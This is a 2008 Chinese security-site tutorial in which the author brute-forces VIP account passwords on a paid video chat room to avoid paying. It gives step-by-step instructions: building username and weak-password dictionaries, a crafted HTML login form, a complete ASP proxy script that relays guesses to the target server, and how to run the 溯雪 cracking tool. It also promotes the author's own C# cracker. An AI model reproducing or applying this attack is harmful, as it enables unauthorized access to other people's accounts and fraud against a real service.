执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 菜鸟学习 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
三步找回被删并清空了回收站的文件
新手想做网吧技术网管应会些什么
如何维护和优化局域网技巧
查看自己IP地址的四种方法
实战经验 组建维护一个30人局域网
巧用支付宝 免交手续费
教你防范QQ隐身被检测(图)
入侵Windows XP的几个常用方法
经验谈:跳板攻击入侵技术实例解析
上网被ISP劫持?介绍一些好用的DNS域
视频聊天室密码破解
作者:佚名 来源:安全在线 更新时间:2008-5-23 21:31:49 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

由于工作关系,我的QQ每个星期一到星期五都是在线的,但是却很少有人加我为好友,可能是老了吧,毕竟都24了,网恋那段激情燃烧的岁月已经离我远去了。可是那天却非常的幸运,一个女网友加了我,并传给我一个网址http://xxxxxxxxxxx.net:2899/,让我去看她跳舞。我心里那个激动啊,不管三七二十一就点了进去,上去一看原来是一个聊天室网站,上面说不用注册填个用户名就能进入。那就随便填个用户名进入吧,进到聊天室就看有一群人在线,还播放着DJ音乐。这个时候有人打字宣传,说马上就有美女跳舞表演了。我心想网恋不成,咱看下美女跳舞也不错啊,搬个板凳坐着看跳舞吧!但是当表演的时候却怎么也连不上美女的视频,一问在线的其他人,才知道要给钱买会员才行的。我当时那个心啊是哇凉哇凉的,感情那美女是跑来骗我给钱的。哎……我穷鬼一个哪有这钱啊,那就只有一个办法了——破解密码,说干咱就干!

  首先看看网页,如图1所示,大致了解了一下,这个聊天室是用meChat架构的。到meChat官方网站看了看,发现了最关键的一句,本系统无需任何Web Server和数据库系统支持,完全独立运行,所以什么Web注入、上传漏洞、IIS写权限漏洞基本就不可以用了。这时我能想到的就是Web探测了,制作一个用户字典和密码字典,因为总会有弱智的密码吧?至于探测软件呢,我能想到的就是小榕的溯雪,个人觉得这个最好用了。以下就介绍我是怎么做的吧,至于分析嘛,本来就没什么技术含量,就不做了。

第一步制作字典。字典的制作很关键,试想本来就没有这些用户又何来猜解呢?因此就得想办法知道有哪些用户名,然后做成字典。怎么获取用户名呢?这让我想起刚才登录进去的事情,它不是有在线用户列表吗?呵呵……那就再登录一次,不过我在看用户列表的时候发现一个很有趣的现象,就是大多数用户的用户名都是数字,都是8XXX这样的构成。这里我做了一个猜测,因为VIP用户是不能自己注册的,必须由管理员开启,那么就有可能管理员为了方便或者其他目的,这些VIP的用户名都是8000以上的递增数。所以我做了一个8000~9000这样的用户字典。至于密码字典,我就用比较常见的或者弱智的密码,比如123456、5201314……这样字典就做好了。

  第二步是构造登录表单。这个聊天室的登录表单是利用JavaScript构造表单数据提交的,也就是说直接用溯雪提取表单元素来进行探测是不行的。经过分析,我发现提交的表单数据有Alias(用户名)、Password(密码)和RoomID(房间ID),所以构造了如下的表单。

<form name="form1" method="post" action="http://xxxxxx.net:2899/1/Login">

  <table width="100%"  border="1" cellspacing="0" cellpadding="0">

      <tr>

      <td>RoomID</td>

    <td><input name="RoomId" type="text" id="RoomId" value=”101”></td>

    </tr>

    <tr>

      <td>Alias</td>

<td><input name="Alias" type="text" id="Alias"></td>

    </tr>

    <tr>

      <td>Password</td>

      <td><input name="Password" type="text" id="Password"></td>

    </tr>

    <tr>

      <td>&nbsp;</td>

      <td><input type="submit" name="Submit" value="提交"></td>

    </tr>

  </table>

</form>
 


  这里需要说明的是Form的Action地址,它的构造需要看登录页面的源代码。在源代码中有这样类型的JavaScript语句:

  var Server = new ChatServer() ;

  Server.Add(101,'1房:会员大厅','/1/',12,28,0,'本网站不允许任何人互发联系方式,经发现立即永久封杀号码,并扣除分数.希望会员宝贝尊重网站规定!愿大家玩的开心','006,008,009,05,8001,8002,8003,8006,8008,8009',0,1,0,0,1,1,1,0,'');

  其中101为RoomID,“/1/”为Action地址中的“/1/”,这要根据实际聊天室的源代码修改。

  第三步是制作本地代理登录脚本。本来没有这一步的,但是因为溯雪会把地址中的“http://”自动去掉,导致URL语法错误,不能正常使用。可能其它的Web探测器不会出现这个错误,但是我只有溯雪,只能自己寻求办法解决了。我的办法是在本地Web服务器放一个ASP脚本,让它获取溯雪提交的数据,然后代理提交给聊天室登录获得返回给溯雪。我制作了一个chat.asp程序,其代码如下。

  <%
Function GetHttpPage(HttpUrl)

   If IsNull(HttpUrl)=True Or HttpUrl="$False$" Then

      GetHttpPage="$False$"

      Exit Function

   End If

   Dim Http

   Set Http=server.createobject("MSXML2.XMLHTTP")

   Http.open "GET",HttpUrl,False

   Http.Send()

   If Http.Readystate<>4 then

      Set Http=Nothing

      GetHttpPage="$False$"

      Exit function

   End if

   GetHTTPPage=bytesToBSTR(Http.responseBody,"GB2312")

   Set Http=Nothing

   If Err.number<>0 then

      Err.Clear

   End If

End Function

Function BytesToBstr(Body,Cset)

   Dim Objstream

   Set Objstream = Server.CreateObject("adodb.stream")

   objstream.Type = 1

   objstream.Mode =3

   objstream.Open

   objstream.Write body

   objstream.Position = 0

   objstream.Type = 2

   objstream.Charset = Cset

   BytesToBstr = objstream.ReadText

   objstream.Close

   set objstream = nothing

End Function

HttpUrl="http://xxxx.com:5000/1/Login/?Alias="&Request.Form("Alias")&"&Password="&Request.Form("Password")&"&RoomID="&Request.Form("RoomID")&"&boxfunc=off&RoomPassword=&Sex="

StarGet = GetHttpPage(HttpUrl)     %>

<%=Server.HTMLEncode(StarGet)%>
 


  然后再把刚才构造的登录表单提交地址改成:http://localhost/chat.asp,这样准备工作就完成了,至于怎么使用溯雪呢,我这里只简单地说一下。运行溯雪,将刚才构造的登录表单保存成HTML网页,鼠标单击把它拖到溯雪程序框里,然后选择模式为标准模式,按快捷键Ctrl+I提取表单,在loginPath处输入“/1/”,RoomID处输入“101”,Alias选择用户字典,password选择密码字典,效果如图2所示。接下来按Ctrl+R运行,这是一次错误探测,会返回登录错误的信息,然后让你输入错误标记,这里填写“errorpassword.htm”就可以了。再次提交程序就开始探测了(再按Ctrl+R),我想要不了多久,你就会得到一个别人花150元才能买到的VIP账户了。

  

上面的方法比较麻烦,同时还需要IIS支持,所以我自己做了一个破解小工具,给那些和我一样懒的人用。该程序是用C#做的,要在Microsoft .NET Framework 1.1以上才能使用,下面就简单介绍一下吧。运行界面如图3所示,参数设置就不用说了,中文写的很清楚。特别说明一下的是用户名作为密码功能,因为有很多人喜欢把用户名作为密码使用的,大家不妨试一下!最后再说一下,关于用户名规律的发现,大家可以看这个聊天室源代码中的Server.Add(101,'1房:会员大厅','/1/',……0,1,0,0,1,1,1,0,''),或者加入他们的QQ群自己去发现。

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号